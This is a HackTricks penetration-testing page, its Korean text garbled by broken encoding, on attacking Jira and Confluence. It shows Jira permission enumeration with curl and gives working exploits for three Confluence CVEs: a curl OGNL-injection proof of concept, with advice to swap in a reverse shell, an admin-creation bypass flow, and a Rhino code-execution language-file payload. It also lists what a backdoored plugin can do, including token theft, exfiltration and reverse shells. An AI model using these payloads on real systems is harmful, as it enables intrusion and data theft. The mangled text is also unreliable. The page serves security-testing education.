Jira & Confluence
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ถํ ํ์ธ
Jira์์๋ ์ธ์ฆ ์ฌ๋ถ์ ๊ด๊ณ์์ด ๋ชจ๋ ์ฌ์ฉ์๊ฐ /rest/api/2/mypermissions ๋๋ /rest/api/3/mypermissions ์๋ํฌ์ธํธ๋ฅผ ํตํด ๊ถํ์ ํ์ธํ ์ ์์ต๋๋ค. ์ด ์๋ํฌ์ธํธ๋ค์ ์ฌ์ฉ์๊ฐ ํ์ฌ ๋ณด์ ํ ๊ถํ์ ๋
ธ์ถํฉ๋๋ค. ํนํ ๋น์ธ์ฆ ์ฌ์ฉ์์๊ฒ ๊ถํ์ด ๋ถ์ฌ๋ ๊ฒฝ์ฐ๋ ๋ณด์ ์ทจ์ฝ์ ์ ์๋ฏธํ๋ฉฐ, ์ด๋ bounty ๋์์ด ๋ ์ ์์ต๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก ์ธ์ฆ ์ฌ์ฉ์์๊ฒ ์์์น ๋ชปํ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ๋ ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
์ค์ํ ์ ๋ฐ์ดํธ๊ฐ 2019๋ 2์ 1์ผ์ ์ด๋ฃจ์ด์ ธ, โmypermissionsโ ์๋ํฌ์ธํธ๊ฐ โpermissionโ ํ๋ผ๋ฏธํฐ๋ฅผ ํฌํจํ๋๋ก ์๊ตฌํ๊ฒ ๋์์ต๋๋ค. ์ด ์๊ตฌ์ฌํญ์ ์กฐํํ ๊ถํ์ ์ง์ ํจ์ผ๋ก์จ ๋ณด์์ ๊ฐํํ๋ ค๋ ๋ชฉ์ ์ ๋๋ค: ์ฌ๊ธฐ์์ ํ์ธํ์ธ์
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
์: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
์๋ํ๋ ์ด๊ฑฐ
์ต๊ทผ RCEs ๋ฐ ์ค์ฉ์ ์ธ exploit ๋ ธํธ (Confluence)
CVE-2023-22527 โ ์ธ์ฆ๋์ง ์์ template/OGNL injection (10.0)
- Confluence Data Center/Server 8.0.xโ8.5.3 & 8.4.5์ ์ํฅ์ ๋ฏธ์นจ. ์ทจ์ฝํ Velocity ํ
ํ๋ฆฟ
text-inline.vm์ด ์ธ์ฆ ์์ด OGNL ํ๊ฐ๋ฅผ ํ์ฉํจ. - ๊ฐ๋จํ PoC (๋ช ๋ น์ confluence user๋ก ์คํ๋จ):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- ์๋ต ํค๋
x-cmd์๋ ๋ช ๋ น ์ถ๋ ฅ์ด ํฌํจ๋ฉ๋๋ค.id๋ฅผ reverse shell payload๋ก ๊ต์ฒดํ์ธ์. - ์ค์บ๋: nuclei template
http/cves/2023/CVE-2023-22527.yaml(nuclei-templates โฅ9.7.5์ ํฌํจ).
CVE-2023-22515 โ setup ์ฌํ์ฑํ๋ก ๊ด๋ฆฌ์ ์์ฑ (auth bypass)
- Publicly reachable Confluence Data Center/Server 8.0.0โ8.5.1์์๋
setupComplete๋ฅผ ์ ํํ๊ณ/setup/setupadministrator.action๋ฅผ ๋ค์ ์คํํ์ฌ ์๋ก์ด ๊ด๋ฆฌ์ ๊ณ์ ์ ์์ฑํ ์ ์์ต๋๋ค. - Minimal exploit flow:
GET /server-info.action(unauthenticated)๋ก ์ ๊ทผ ๊ฐ๋ฅ ์ฌ๋ถ ํ์ธ.POST /server-info.action์buildNumberํ๋ผ๋ฏธํฐ๋ฅผ ์ ์กํ์ฌ setup ํ๋๊ทธ๋ฅผ ํ ๊ธ.POST /setup/setupadministrator.action์fullName,email,username,password,confirm์ ํฌํจํด ๊ด๋ฆฌ์ ๊ณ์ ์์ฑ.
CVE-2024-21683 โ Code Macro ์ ๋ก๋๋ฅผ ํตํ ์ธ์ฆ๋ RCE
- Confluence Admin์ Configure Code Macro์์ ์กฐ์๋ language definition์ ์ ๋ก๋ํ ์ ์์ผ๋ฉฐ, Rhino engine์ด ํฌํจ๋ Java๋ฅผ ์คํํ์ฌ RCE๋ก ์ด์ด์ง๋๋ค.
- ์์ ์ป์ผ๋ ค๋ฉด
.langํ์ผ์ ๋ค์๊ณผ ๊ฐ์ payload๋ฅผ ํฌํจํ์ฌ ์ ๋ก๋ํ์ธ์:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- ์
์ฑ ์ธ์ด๋ฅผ Code Macro ๋ณธ๋ฌธ์์ ์ ํํ๋ฉด ํธ๋ฆฌ๊ฑฐ๋ฉ๋๋ค. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683๋ auth + upload + exec๋ฅผ ์๋ํํฉ๋๋ค.
Atlasian ํ๋ฌ๊ทธ์ธ
์ด blog์์ ์ค๋ช ํ ๊ฒ์ฒ๋ผ, Plugin modules โ ๋ฌธ์์์๋ ๋ค์๊ณผ ๊ฐ์ ๋ค์ํ ์ ํ์ ํ๋ฌ๊ทธ์ธ์ ํ์ธํ ์ ์์ต๋๋ค:
- REST Plugin Module โ: Expose RESTful API endpoints
- Servlet Plugin Module โ: Deploy Java servlets as part of a plugin
- Macro Plugin Module โ: Implement Confluence Macros, i.e. parameterised HTML templates
๋ค์์ macro plugin ์ ํ์ ์์ ๋๋ค:
Macro plugin ์์
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(โNameโ) != null) { return (โ
Hello โ + map.get(โNameโ) + โ!
โ); } else { return โHello World!
โ;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
์ด ํ๋ฌ๊ทธ์ธ๋ค์ด XSS์ ๊ฐ์ ์ผ๋ฐ์ ์ธ ์น ์ทจ์ฝ์ ์ ์ทจ์ฝํ ์ ์์์ ํ์ธํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ์์ ์์ ๋ ์ฌ์ฉ์ ์
๋ ฅ์ ๋ฐ์ํ๊ธฐ ๋๋ฌธ์ ์ทจ์ฝํฉ๋๋ค.
XSS๊ฐ ๋ฐ๊ฒฌ๋๋ฉด [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)์์ XSS์ ์ํฅ๋ ฅ์ ๋์ด๊ธฐ ์ํ ๋ช ๊ฐ์ง payloads๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
## ๋ฐฑ๋์ด ํ๋ฌ๊ทธ์ธ
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)์์๋ ์
์ฑ Jira ํ๋ฌ๊ทธ์ธ์ด ์ํํ ์ ์๋ ๋ค์ํ(์
์ฑ) ๋์๋ค์ ์ค๋ช
ํฉ๋๋ค. [**code example in this repo**](https://github.com/cyllective/malfluence)์์ ์ฝ๋ ์์ ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
๋ค์์ ์
์ฑ ํ๋ฌ๊ทธ์ธ์ด ์ํํ ์ ์๋ ๋ช ๊ฐ์ง ๋์์
๋๋ค:
- **Hiding Plugins from Admins**: ์ผ๋ถ ํ๋ก ํธ์๋ javascript๋ฅผ ์ฃผ์
ํ์ฌ ์
์ฑ ํ๋ฌ๊ทธ์ธ์ ๊ด๋ฆฌ์์๊ฒ์ ์จ๊ธธ ์ ์์ต๋๋ค.
- **Exfiltrating Attachments and Pages**: ๋ชจ๋ ๋ฐ์ดํฐ์ ์ ๊ทผํ์ฌ exfiltrateํ ์ ์์ต๋๋ค.
- **Stealing Session Tokens**: ์๋ต์์ ํค๋๋ฅผ ๊ทธ๋๋ก ๋ฐํํ๋ endpoint๋ฅผ ์ถ๊ฐ(์ฟ ํค ํฌํจ)ํ๊ณ , ํด๋น endpoint์ ์ ์ํด cookies๋ฅผ leakํ๋ javascript๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
- **Command Execution**: ๋ฌผ๋ก ํ๋ฌ๊ทธ์ธ์ ๋ง๋ค์ด ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
- **Reverse Shell**: ๋๋ reverse shell์ ์ป์ ์ ์์ต๋๋ค.
- **DOM Proxying**: ๋ง์ฝ confluence๊ฐ ํ๋ผ์ด๋น ๋คํธ์ํฌ ๋ด๋ถ์ ์๋ค๋ฉด, ์ ๊ทผ ๊ถํ์ด ์๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ์ฐ๊ฒฐ์ ์๋ฆฝํ๊ณ ์๋ฅผ ๋ค์ด ๊ทธ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด ์๋ฒ์ ์ ์ํ์ฌ ๋ช
๋ น์ ์คํํ๋๋ก ํ ์ ์์ต๋๋ค.
## References
- [Atlassian advisory โ CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A โ Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


